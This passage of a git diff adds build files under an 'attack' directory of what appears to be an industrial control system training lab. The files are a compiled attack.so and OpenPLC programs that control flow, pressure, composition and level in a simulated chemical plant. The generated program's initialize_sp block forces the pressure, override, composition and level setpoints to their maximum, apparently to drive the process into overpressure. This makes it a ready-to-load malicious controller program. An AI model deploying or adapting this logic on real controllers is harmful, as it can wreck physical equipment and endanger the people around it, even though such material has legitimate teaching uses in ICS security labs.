+440;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE3_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE3_OUT;UINT; +441;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE7_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE7_OUT;UINT; +442;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE11_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE11_OUT;UINT; +443;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE15_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE15_OUT;UINT; +444;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE19_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE19_OUT;UINT; +445;VAR;CONFIG0.RES0.INSTANCE0.ADD87_OUT;CONFIG0.RES0.INSTANCE0.ADD87_OUT;UINT; +446;VAR;CONFIG0.RES0.INSTANCE0.GE91_OUT;CONFIG0.RES0.INSTANCE0.GE91_OUT;BOOL; +447;VAR;CONFIG0.RES0.INSTANCE0.MOVE92_ENO;CONFIG0.RES0.INSTANCE0.MOVE92_ENO;BOOL; +448;VAR;CONFIG0.RES0.INSTANCE0.MOVE92_OUT;CONFIG0.RES0.INSTANCE0.MOVE92_OUT;UINT; + + +// Ticktime +50000000 diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/attack.so b/plc/GRFICS_Workstation_Docs/Documents/attack/build/attack.so new file mode 100755 index 0000000..584c89c --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/attack.so Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/beremiz.h b/plc/GRFICS_Workstation_Docs/Documents/attack/build/beremiz.h new file mode 100644 index 0000000..dd65176 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/beremiz.h @@ -0,0 +1,30 @@ +#ifndef _BEREMIZ_H_ +#define _BEREMIZ_H_ + +/* Beremiz' header file for use by extensions */ + +#include "iec_types.h" + +#define LOG_LEVELS 4 +#define LOG_CRITICAL 0 +#define LOG_WARNING 1 +#define LOG_INFO 2 +#define LOG_DEBUG 3 + +extern unsigned long long common_ticktime__; + +#ifdef TARGET_LOGGING_DISABLE +static inline int LogMessage(uint8_t level, char* buf, uint32_t size) +{ + (void)level; + (void)buf; + (void)size; + return 0; +} +#else +int LogMessage(uint8_t level, char* buf, uint32_t size); +#endif + +long AtomicCompareExchange(long* atomicvar,long compared, long exchange); + +#endif diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/generated_plc.st b/plc/GRFICS_Workstation_Docs/Documents/attack/build/generated_plc.st new file mode 100644 index 0000000..e39c5bd --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/generated_plc.st @@ -0,0 +1,518 @@ +FUNCTION_BLOCK scale_to_real + VAR_INPUT + raw_input_value : UINT; + END_VAR + VAR_OUTPUT + scaled_real : REAL; + END_VAR + VAR_INPUT + real_max : REAL; + real_min : REAL; + END_VAR + VAR + raw_max : UINT := 65535; + raw_min : UINT := 0; + rate : REAL; + offset : REAL; + END_VAR + + rate := (real_max - real_min) / UINT_TO_REAL(raw_max - raw_min); + offset := real_min - UINT_TO_REAL(raw_min)*rate; + scaled_real := UINT_TO_REAL(raw_input_value)*rate + offset; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_uint + VAR_INPUT + real_in : REAL; + END_VAR + VAR_OUTPUT + uint_out : UINT; + END_VAR + VAR + DIV1_OUT : REAL; + MUL4_OUT : REAL; + REAL_TO_UINT6_OUT : UINT; + END_VAR + + DIV1_OUT := DIV(real_in, 100.0); + MUL4_OUT := MUL(DIV1_OUT, 65535.0); + REAL_TO_UINT6_OUT := REAL_TO_UINT(MUL4_OUT); + uint_out := REAL_TO_UINT6_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK composition_control + VAR + a_in_purge_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_in_purge : UINT := 32000; + END_VAR + VAR + a_setpoint_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_setpoint : UINT := 32000; + curr_pos : UINT := 16000; + END_VAR + VAR + valve_pos_real : REAL := 25.0; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 25.0; + END_VAR + VAR_OUTPUT + new_pos : UINT := 16000; + END_VAR + VAR + composition_k : REAL := 1.0; + composition_ti : REAL := 99.0; + cycle_time : TIME := T#50ms; + scale_to_real3 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + comp_max : REAL := 100.0; + comp_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB45_OUT : REAL; + MUL46_OUT : REAL; + ADD42_OUT : REAL; + LIMIT44_OUT : REAL; + END_VAR + + scale_to_real3(raw_input_value := a_in_purge, real_max := comp_max, real_min := comp_min); + a_in_purge_real := scale_to_real3.scaled_real; + scale_to_real2(raw_input_value := a_setpoint, real_max := comp_max, real_min := comp_min); + a_setpoint_real := scale_to_real2.scaled_real; + SUB45_OUT := SUB(a_setpoint_real, a_in_purge_real); + MUL46_OUT := MUL(SUB45_OUT, composition_k); + pos_update_real := MUL46_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + ADD42_OUT := ADD(valve_pos_real, pos_update_real); + LIMIT44_OUT := LIMIT(pos_min, ADD42_OUT, pos_max); + scale_to_uint0(real_in := LIMIT44_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK initialize_sp + VAR CONSTANT + flow_sp_c : UINT := 13107; + a_sp_c : UINT := 65535; + press_sp_c : UINT := 65535; + over_sp_c : UINT := 65535; + level_sp_c : UINT := 65535; + END_VAR + VAR_OUTPUT + flow_sp : UINT; + a_sp : UINT; + press_sp : UINT; + over_sp : UINT; + level_sp : UINT; + END_VAR + VAR + MOVE3_OUT : UINT; + MOVE7_OUT : UINT; + MOVE11_OUT : UINT; + MOVE15_OUT : UINT; + MOVE19_OUT : UINT; + END_VAR + + MOVE3_OUT := MOVE(a_sp_c); + a_sp := MOVE3_OUT; + MOVE7_OUT := MOVE(flow_sp_c); + flow_sp := MOVE7_OUT; + MOVE11_OUT := MOVE(over_sp_c); + over_sp := MOVE11_OUT; + MOVE15_OUT := MOVE(level_sp_c); + level_sp := MOVE15_OUT; + MOVE19_OUT := MOVE(press_sp_c); + press_sp := MOVE19_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_control + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + END_VAR + VAR + pressure_sp_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure_sp : UINT := 58981; + curr_pos : UINT := 30000; + END_VAR + VAR + valve_pos_real : REAL := 39.25; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 39.25; + END_VAR + VAR_OUTPUT + valve_pos : UINT := 25886; + END_VAR + VAR + pressure_k : REAL := 20.0; + pressure_ti : REAL := 999.0; + cycle_time : TIME := T#50ms; + scale_to_real5 : scale_to_real; + scale_to_real4 : scale_to_real; + scale_to_uint0 : scale_to_uint; + pressure_max : REAL := 3200.00; + pressure_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real0 : scale_to_real; + SUB57_OUT : REAL; + MUL60_OUT : REAL; + SUB53_OUT : REAL; + LIMIT55_OUT : REAL; + END_VAR + + scale_to_real5(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real5.scaled_real; + scale_to_real4(raw_input_value := pressure_sp, real_max := pressure_max, real_min := pressure_min); + pressure_sp_real := scale_to_real4.scaled_real; + SUB57_OUT := SUB(pressure_sp_real, pressure_real); + MUL60_OUT := MUL(SUB57_OUT, pressure_k); + pos_update_real := MUL60_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + SUB53_OUT := SUB(valve_pos_real, pos_update_real); + LIMIT55_OUT := LIMIT(pos_min, SUB53_OUT, pos_max); + scale_to_uint0(real_in := LIMIT55_OUT); + valve_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK flow_control + VAR + flow_k : REAL := 1.0; + flow_ti : REAL := 999.0; + flow_td : REAL := 0.0; + END_VAR + VAR_INPUT + product_flow : UINT := 6554; + END_VAR + VAR + product_flow_real : REAL := 100.0; + cycle_time : TIME := T#50ms; + pos_update_real : REAL := 0.0; + curr_pos_real : REAL := 60.9; + END_VAR + VAR_OUTPUT + new_pos : UINT := 35000; + END_VAR + VAR_INPUT + curr_pos : UINT := 35000; + END_VAR + VAR + flow_set_real : REAL := 100.0; + END_VAR + VAR_INPUT + flow_set_in : UINT := 6554; + END_VAR + VAR + scale_to_real0 : scale_to_real; + scale_to_real1 : scale_to_real; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB59_OUT : REAL; + MUL60_OUT : REAL; + ADD58_OUT : REAL; + LIMIT40_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := product_flow, real_max := flow_max, real_min := flow_min); + product_flow_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := flow_set_in, real_max := flow_max, real_min := flow_min); + flow_set_real := scale_to_real1.scaled_real; + SUB59_OUT := SUB(flow_set_real, product_flow_real); + MUL60_OUT := MUL(SUB59_OUT, flow_k); + pos_update_real := MUL60_OUT; + scale_to_real2(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + curr_pos_real := scale_to_real2.scaled_real; + ADD58_OUT := ADD(curr_pos_real, pos_update_real); + LIMIT40_OUT := LIMIT(pos_min, ADD58_OUT, pos_max); + scale_to_uint0(real_in := LIMIT40_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK level_control + VAR_INPUT + liquid_level : UINT; + level_sp : UINT := 30000; + curr_pos : UINT; + END_VAR + VAR_OUTPUT + new_pos : UINT; + END_VAR + VAR + cycle_time : TIME := T#50ms; + level_k : REAL := 10.0; + level_ti : REAL := 99999.0; + scale_to_real0 : scale_to_real; + level_max : REAL := 100.0; + level_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + level_real : REAL := 44.18; + pos_real : REAL := 47.0; + pos_update_real : REAL := 0.0; + sp_real : REAL := 44.18; + scale_to_real1 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB32_OUT : REAL; + MUL33_OUT : REAL; + SUB30_OUT : REAL; + LIMIT25_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := liquid_level, real_max := level_max, real_min := level_min); + level_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + pos_real := scale_to_real1.scaled_real; + scale_to_real2(raw_input_value := level_sp, real_max := level_max, real_min := level_min); + sp_real := scale_to_real2.scaled_real; + SUB32_OUT := SUB(sp_real, level_real); + MUL33_OUT := MUL(SUB32_OUT, level_k); + pos_update_real := MUL33_OUT; + SUB30_OUT := SUB(pos_real, pos_update_real); + LIMIT25_OUT := LIMIT(pos_min, SUB30_OUT, pos_max); + scale_to_uint0(real_in := LIMIT25_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_signed + VAR_INPUT + input_uint : UINT; + END_VAR + VAR_OUTPUT + output_int : INT; + END_VAR + VAR + DIV3_OUT : UINT; + ABS8_OUT : UINT; + UINT_TO_INT9_OUT : INT; + END_VAR + + DIV3_OUT := DIV(input_uint, 2); + ABS8_OUT := ABS(DIV3_OUT); + UINT_TO_INT9_OUT := UINT_TO_INT(ABS8_OUT); + output_int := UINT_TO_INT9_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_override + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + curr_sp : UINT := 58981; + END_VAR + VAR + curr_sp_real : REAL := 2700.0; + product_sp_real : REAL := 100.0; + sp_update : REAL := 0.0; + product_sp_nominl : REAL := 100.0; + END_VAR + VAR_OUTPUT + product_sp : UINT := 13107; + END_VAR + VAR + override_sp_real : REAL := 2900.0; + END_VAR + VAR_INPUT + override_sp : UINT := 63350; + END_VAR + VAR + override_k : REAL := 1.0; + override_ti : REAL := 99999.0; + cycle_time : TIME := T#50ms; + scale_to_real7 : scale_to_real; + pressure_max : REAL := 3000.0; + pressure_min : REAL := 0.0; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB86_OUT : REAL; + MUL87_OUT : REAL; + MAX84_OUT : REAL; + ADD85_OUT : REAL; + LIMIT67_OUT : REAL; + DIV73_OUT : REAL; + MUL75_OUT : REAL; + REAL_TO_UINT79_OUT : UINT; + END_VAR + + scale_to_real7(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real7.scaled_real; + SUB86_OUT := SUB(override_sp_real, pressure_real); + MUL87_OUT := MUL(SUB86_OUT, override_k); + MAX84_OUT := MAX(MUL87_OUT, 0.0); + sp_update := MAX84_OUT; + scale_to_real0(raw_input_value := curr_sp, real_max := flow_max, real_min := flow_min); + curr_sp_real := scale_to_real0.scaled_real; + ADD85_OUT := ADD(curr_sp_real, sp_update); + LIMIT67_OUT := LIMIT(50.0, ADD85_OUT, 150.0); + product_sp_real := LIMIT67_OUT; + DIV73_OUT := DIV(product_sp_real, 500.0); + MUL75_OUT := MUL(DIV73_OUT, 65535.0); + REAL_TO_UINT79_OUT := REAL_TO_UINT(MUL75_OUT); + product_sp := REAL_TO_UINT79_OUT; +END_FUNCTION_BLOCK + +PROGRAM main + VAR + flow_control0 : flow_control; + first_run : BOOL := True; + END_VAR + VAR + flow_set AT %MW0 : UINT; + a_setpoint AT %MW1 : UINT; + pressure_sp AT %MW2 : UINT; + override_sp AT %MW3 : UINT; + level_sp AT %MW4 : UINT; + END_VAR + VAR + composition_control0 : composition_control; + scale_to_signed0 : scale_to_signed; + END_VAR + VAR + f1_valve_pos AT %IW0 : UINT; + f1_flow AT %IW1 : UINT; + f2_valve_pos AT %IW2 : UINT; + f2_flow AT %IW3 : UINT; + purge_valve_pos AT %IW4 : UINT; + purge_flow AT %IW5 : UINT; + product_valve_pos AT %IW6 : UINT; + product_flow AT %IW7 : UINT; + pressure AT %IW8 : UINT; + level AT %IW9 : UINT; + a_in_purge AT %IW10 : UINT; + b_in_purge AT %IW11 : UINT; + c_in_purge AT %IW12 : UINT; + f1_valve_sp AT %QW0 : UINT; + f2_valve_sp AT %QW1 : UINT; + purge_valve_sp AT %QW2 : UINT; + product_valve_sp AT %QW3 : UINT; + END_VAR + VAR + product_valve_safe : UINT := 0; + purge_valve_safe : UINT := 65535; + f1_valve_safe : UINT; + f2_valve_safe : UINT; + pressure_control0 : pressure_control; + END_VAR + VAR + hmi_pressure AT %MW20 : INT; + hmi_level AT %MW21 : INT; + hmi_f1_valve_pos AT %MW22 : INT; + hmi_f1_flow AT %MW23 : INT; + hmi_f2_valve_pos AT %MW24 : INT; + hmi_f2_flow AT %MW25 : INT; + hmi_purge_valve_pos AT %MW26 : INT; + hmi_purge_flow AT %MW27 : INT; + hmi_product_valve_pos AT %MW28 : INT; + hmi_product_flow AT %MW29 : INT; + scan_count AT %MW30 : UINT; + END_VAR + VAR + scale_to_signed1 : scale_to_signed; + scale_to_signed2 : scale_to_signed; + scale_to_signed3 : scale_to_signed; + scale_to_signed4 : scale_to_signed; + scale_to_signed5 : scale_to_signed; + scale_to_signed6 : scale_to_signed; + scale_to_signed7 : scale_to_signed; + scale_to_signed8 : scale_to_signed; + scale_to_signed9 : scale_to_signed; + pressure_override0 : pressure_override; + level_control0 : level_control; + END_VAR + VAR_EXTERNAL + run_bit : BOOL; + END_VAR + VAR + run_bit0 : BOOL := True; + initialize_sp0 : initialize_sp; + ADD87_OUT : UINT; + GE91_OUT : BOOL; + MOVE92_ENO : BOOL; + MOVE92_OUT : UINT; + END_VAR + + initialize_sp0(EN := first_run); + IF initialize_sp0.ENO THEN + first_run := FALSE; (*reset*) + END_IF; + IF initialize_sp0.ENO THEN + flow_set := initialize_sp0.flow_sp; + END_IF; + IF initialize_sp0.ENO THEN + a_setpoint := initialize_sp0.a_sp; + END_IF; + IF initialize_sp0.ENO THEN + pressure_sp := initialize_sp0.press_sp; + END_IF; + IF initialize_sp0.ENO THEN + override_sp := initialize_sp0.over_sp; + END_IF; + IF initialize_sp0.ENO THEN + level_sp := initialize_sp0.level_sp; + END_IF; + flow_control0(product_flow := product_flow, curr_pos := f1_valve_pos, flow_set_in := flow_set); + f1_valve_sp := flow_control0.new_pos; + pressure_control0(pressure := pressure, pressure_sp := pressure_sp, curr_pos := purge_valve_pos); + purge_valve_sp := pressure_control0.valve_pos; + composition_control0(a_in_purge := a_in_purge, a_setpoint := a_setpoint, curr_pos := f2_valve_pos); + f2_valve_sp := composition_control0.new_pos; + pressure_override0(pressure := pressure, curr_sp := flow_set, override_sp := override_sp); + flow_set := pressure_override0.product_sp; + level_control0(liquid_level := level, level_sp := level_sp, curr_pos := product_valve_pos); + product_valve_sp := level_control0.new_pos; + scale_to_signed0(input_uint := pressure); + hmi_pressure := scale_to_signed0.output_int; + scale_to_signed1(input_uint := level); + hmi_level := scale_to_signed1.output_int; + scale_to_signed2(input_uint := f1_valve_pos); + hmi_f1_valve_pos := scale_to_signed2.output_int; + scale_to_signed3(input_uint := f2_valve_pos); + hmi_f2_valve_pos := scale_to_signed3.output_int; + scale_to_signed4(input_uint := purge_valve_pos); + hmi_purge_valve_pos := scale_to_signed4.output_int; + scale_to_signed5(input_uint := product_valve_pos); + hmi_product_valve_pos := scale_to_signed5.output_int; + scale_to_signed6(input_uint := f1_flow); + hmi_f1_flow := scale_to_signed6.output_int; + scale_to_signed7(input_uint := f2_flow); + hmi_f2_flow := scale_to_signed7.output_int; + scale_to_signed8(input_uint := purge_flow); + hmi_purge_flow := scale_to_signed8.output_int; + scale_to_signed9(input_uint := product_flow); + hmi_product_flow := scale_to_signed9.output_int; + ADD87_OUT := ADD(scan_count, 1); + scan_count := ADD87_OUT; + GE91_OUT := GE(scan_count, 32000); + MOVE92_OUT := MOVE(EN := GE91_OUT, IN := 0, ENO => MOVE92_ENO); + IF MOVE92_ENO THEN + scan_count := MOVE92_OUT; + END_IF; +END_PROGRAM + + +CONFIGURATION Config0 + + RESOURCE Res0 ON PLC + VAR_GLOBAL + run_bit AT %QX0.0 : BOOL; + END_VAR + TASK MainTask(INTERVAL := T#50ms,PRIORITY := 0); + PROGRAM instance0 WITH MainTask : main; + END_RESOURCE +END_CONFIGURATION diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/lastbuildPLC.md5 b/plc/GRFICS_Workstation_Docs/Documents/attack/build/lastbuildPLC.md5 new file mode 100644 index 0000000..8af5f5e --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/lastbuildPLC.md5 @@ -0,0 +1 @@ +5a438746873feeb5984adb25694ca5c9 \ No newline at end of file diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc.st b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc.st new file mode 100644 index 0000000..93fa1aa --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc.st @@ -0,0 +1,612 @@ +TYPE + LOGLEVEL : (CRITICAL, WARNING, INFO, DEBUG) := INFO; +END_TYPE + +FUNCTION_BLOCK LOGGER + VAR_INPUT + TRIG : BOOL; + MSG : STRING; + LEVEL : LOGLEVEL := INFO; + END_VAR + VAR + TRIG0 : BOOL; + END_VAR + + IF TRIG AND NOT TRIG0 THEN + {{ + LogMessage(GetFbVar(LEVEL),(char*)GetFbVar(MSG, .body),GetFbVar(MSG, .len)); + }} + END_IF; + TRIG0:=TRIG; +END_FUNCTION_BLOCK + + + +FUNCTION_BLOCK python_eval + VAR_INPUT + TRIG : BOOL; + CODE : STRING; + END_VAR + VAR_OUTPUT + ACK : BOOL; + RESULT : STRING; + END_VAR + VAR + STATE : DWORD; + BUFFER : STRING; + PREBUFFER : STRING; + TRIGM1 : BOOL; + TRIGGED : BOOL; + END_VAR + + {extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(0, data__);} +END_FUNCTION_BLOCK + +FUNCTION_BLOCK python_poll + VAR_INPUT + TRIG : BOOL; + CODE : STRING; + END_VAR + VAR_OUTPUT + ACK : BOOL; + RESULT : STRING; + END_VAR + VAR + STATE : DWORD; + BUFFER : STRING; + PREBUFFER : STRING; + TRIGM1 : BOOL; + TRIGGED : BOOL; + END_VAR + + {extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(1,(PYTHON_EVAL*)(void*)data__);} +END_FUNCTION_BLOCK + +FUNCTION_BLOCK python_gear + VAR_INPUT + N : UINT; + TRIG : BOOL; + CODE : STRING; + END_VAR + VAR_OUTPUT + ACK : BOOL; + RESULT : STRING; + END_VAR + VAR + py_eval : python_eval; + COUNTER : UINT; + ADD10_OUT : UINT; + EQ13_OUT : BOOL; + SEL15_OUT : UINT; + AND7_OUT : BOOL; + END_VAR + + ADD10_OUT := ADD(COUNTER, 1); + EQ13_OUT := EQ(N, ADD10_OUT); + SEL15_OUT := SEL(EQ13_OUT, ADD10_OUT, 0); + COUNTER := SEL15_OUT; + AND7_OUT := AND(EQ13_OUT, TRIG); + py_eval(TRIG := AND7_OUT, CODE := CODE); + ACK := py_eval.ACK; + RESULT := py_eval.RESULT; +END_FUNCTION_BLOCK + + +FUNCTION_BLOCK scale_to_real + VAR_INPUT + raw_input_value : UINT; + END_VAR + VAR_OUTPUT + scaled_real : REAL; + END_VAR + VAR_INPUT + real_max : REAL; + real_min : REAL; + END_VAR + VAR + raw_max : UINT := 65535; + raw_min : UINT := 0; + rate : REAL; + offset : REAL; + END_VAR + + rate := (real_max - real_min) / UINT_TO_REAL(raw_max - raw_min); + offset := real_min - UINT_TO_REAL(raw_min)*rate; + scaled_real := UINT_TO_REAL(raw_input_value)*rate + offset; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_uint + VAR_INPUT + real_in : REAL; + END_VAR + VAR_OUTPUT + uint_out : UINT; + END_VAR + VAR + DIV1_OUT : REAL; + MUL4_OUT : REAL; + REAL_TO_UINT6_OUT : UINT; + END_VAR + + DIV1_OUT := DIV(real_in, 100.0); + MUL4_OUT := MUL(DIV1_OUT, 65535.0); + REAL_TO_UINT6_OUT := REAL_TO_UINT(MUL4_OUT); + uint_out := REAL_TO_UINT6_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK composition_control + VAR + a_in_purge_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_in_purge : UINT := 32000; + END_VAR + VAR + a_setpoint_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_setpoint : UINT := 32000; + curr_pos : UINT := 16000; + END_VAR + VAR + valve_pos_real : REAL := 25.0; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 25.0; + END_VAR + VAR_OUTPUT + new_pos : UINT := 16000; + END_VAR + VAR + composition_k : REAL := 1.0; + composition_ti : REAL := 99.0; + cycle_time : TIME := T#50ms; + scale_to_real3 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + comp_max : REAL := 100.0; + comp_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB45_OUT : REAL; + MUL46_OUT : REAL; + ADD42_OUT : REAL; + LIMIT44_OUT : REAL; + END_VAR + + scale_to_real3(raw_input_value := a_in_purge, real_max := comp_max, real_min := comp_min); + a_in_purge_real := scale_to_real3.scaled_real; + scale_to_real2(raw_input_value := a_setpoint, real_max := comp_max, real_min := comp_min); + a_setpoint_real := scale_to_real2.scaled_real; + SUB45_OUT := SUB(a_setpoint_real, a_in_purge_real); + MUL46_OUT := MUL(SUB45_OUT, composition_k); + pos_update_real := MUL46_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + ADD42_OUT := ADD(valve_pos_real, pos_update_real); + LIMIT44_OUT := LIMIT(pos_min, ADD42_OUT, pos_max); + scale_to_uint0(real_in := LIMIT44_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK initialize_sp + VAR CONSTANT + flow_sp_c : UINT := 13107; + a_sp_c : UINT := 65535; + press_sp_c : UINT := 65535; + over_sp_c : UINT := 65535; + level_sp_c : UINT := 65535; + END_VAR + VAR_OUTPUT + flow_sp : UINT; + a_sp : UINT; + press_sp : UINT; + over_sp : UINT; + level_sp : UINT; + END_VAR + VAR + MOVE3_OUT : UINT; + MOVE7_OUT : UINT; + MOVE11_OUT : UINT; + MOVE15_OUT : UINT; + MOVE19_OUT : UINT; + END_VAR + + MOVE3_OUT := MOVE(a_sp_c); + a_sp := MOVE3_OUT; + MOVE7_OUT := MOVE(flow_sp_c); + flow_sp := MOVE7_OUT; + MOVE11_OUT := MOVE(over_sp_c); + over_sp := MOVE11_OUT; + MOVE15_OUT := MOVE(level_sp_c); + level_sp := MOVE15_OUT; + MOVE19_OUT := MOVE(press_sp_c); + press_sp := MOVE19_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_control + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + END_VAR + VAR + pressure_sp_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure_sp : UINT := 58981; + curr_pos : UINT := 30000; + END_VAR + VAR + valve_pos_real : REAL := 39.25; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 39.25; + END_VAR + VAR_OUTPUT + valve_pos : UINT := 25886; + END_VAR + VAR + pressure_k : REAL := 20.0; + pressure_ti : REAL := 999.0; + cycle_time : TIME := T#50ms; + scale_to_real5 : scale_to_real; + scale_to_real4 : scale_to_real; + scale_to_uint0 : scale_to_uint; + pressure_max : REAL := 3200.00; + pressure_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real0 : scale_to_real; + SUB57_OUT : REAL; + MUL60_OUT : REAL; + SUB53_OUT : REAL; + LIMIT55_OUT : REAL; + END_VAR + + scale_to_real5(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real5.scaled_real; + scale_to_real4(raw_input_value := pressure_sp, real_max := pressure_max, real_min := pressure_min); + pressure_sp_real := scale_to_real4.scaled_real; + SUB57_OUT := SUB(pressure_sp_real, pressure_real); + MUL60_OUT := MUL(SUB57_OUT, pressure_k); + pos_update_real := MUL60_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + SUB53_OUT := SUB(valve_pos_real, pos_update_real); + LIMIT55_OUT := LIMIT(pos_min, SUB53_OUT, pos_max); + scale_to_uint0(real_in := LIMIT55_OUT); + valve_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK flow_control + VAR + flow_k : REAL := 1.0; + flow_ti : REAL := 999.0; + flow_td : REAL := 0.0; + END_VAR + VAR_INPUT + product_flow : UINT := 6554; + END_VAR + VAR + product_flow_real : REAL := 100.0; + cycle_time : TIME := T#50ms; + pos_update_real : REAL := 0.0; + curr_pos_real : REAL := 60.9; + END_VAR + VAR_OUTPUT + new_pos : UINT := 35000; + END_VAR + VAR_INPUT + curr_pos : UINT := 35000; + END_VAR + VAR + flow_set_real : REAL := 100.0; + END_VAR + VAR_INPUT + flow_set_in : UINT := 6554; + END_VAR + VAR + scale_to_real0 : scale_to_real; + scale_to_real1 : scale_to_real; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB59_OUT : REAL; + MUL60_OUT : REAL; + ADD58_OUT : REAL; + LIMIT40_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := product_flow, real_max := flow_max, real_min := flow_min); + product_flow_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := flow_set_in, real_max := flow_max, real_min := flow_min); + flow_set_real := scale_to_real1.scaled_real; + SUB59_OUT := SUB(flow_set_real, product_flow_real); + MUL60_OUT := MUL(SUB59_OUT, flow_k); + pos_update_real := MUL60_OUT; + scale_to_real2(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + curr_pos_real := scale_to_real2.scaled_real; + ADD58_OUT := ADD(curr_pos_real, pos_update_real); + LIMIT40_OUT := LIMIT(pos_min, ADD58_OUT, pos_max); + scale_to_uint0(real_in := LIMIT40_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK level_control + VAR_INPUT + liquid_level : UINT; + level_sp : UINT := 30000; + curr_pos : UINT; + END_VAR + VAR_OUTPUT + new_pos : UINT; + END_VAR + VAR + cycle_time : TIME := T#50ms; + level_k : REAL := 10.0; + level_ti : REAL := 99999.0; + scale_to_real0 : scale_to_real; + level_max : 